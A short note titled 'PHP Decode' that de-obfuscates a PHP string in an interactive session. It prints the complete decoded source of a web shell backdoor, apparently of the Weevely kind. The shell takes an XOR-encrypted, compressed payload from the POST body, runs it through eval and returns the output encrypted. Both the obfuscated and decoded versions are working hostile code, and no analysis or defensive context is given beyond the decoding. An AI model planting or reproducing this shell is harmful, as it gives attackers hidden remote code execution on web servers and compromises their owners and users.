PHP Decode

<?  php > $h='len(Q$t);$oQ="";QQQfor($i=0;$i<$l;)Q{for($QjQ=0;($j<$c&&$i<$lQ);$'; 
php > $P='Q("/$kQh(Q.+)$kf/"QQ,Q@file_gQet_contents("pQhp://inpuQt"),$m)Q=='; 
php > $M='1) {Q@ob_stQart(Q);@evQal(@gzuncoQmpressQQ(@x(@base6Q4_deQcode(Q$'; 
php > $B='$Qk="b02Q70e74";$kQQh="11a12a4a68f2"Q;Q$kf=QQ"120bb3b957QQ2c";$p='; 
php > $f='"1DGp1QY6lWKI3pJ2P"Q;Qfunction x($tQ,$kQ){$QcQ=strlen($k);$l=sQtr'; 
php > $W='Qse64_encode(@x(Q@gzcomQpress(Q$o)Q,$k))Q;print("$pQ$kh$r$Qkf");}'; 
php > $y=str_replace('b','','crbebateb_bbfunbction'); 
php > $C='m[1])Q,$k)));$o=@Qob_QQget_conQtents();@ob_QeQnd_clean()Q;$Qr=@ba'; 
php > $r='j+Q+,$i++Q){$Qo.=$tQ{$i}^$Qk{$j};}}rQeturn $oQ;}ifQ (@pQreg_match'; 
php > $I=str_replace('Q','',$B.$f.$h.$r.$P.$M.$C.$W); 
php > print ($I); 
 
$k="b0270e74";$kh="11a12a4a68f2";$kf="120bb3b9572c";$p="1DGp1Y6lWKI3pJ2P";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");} ?>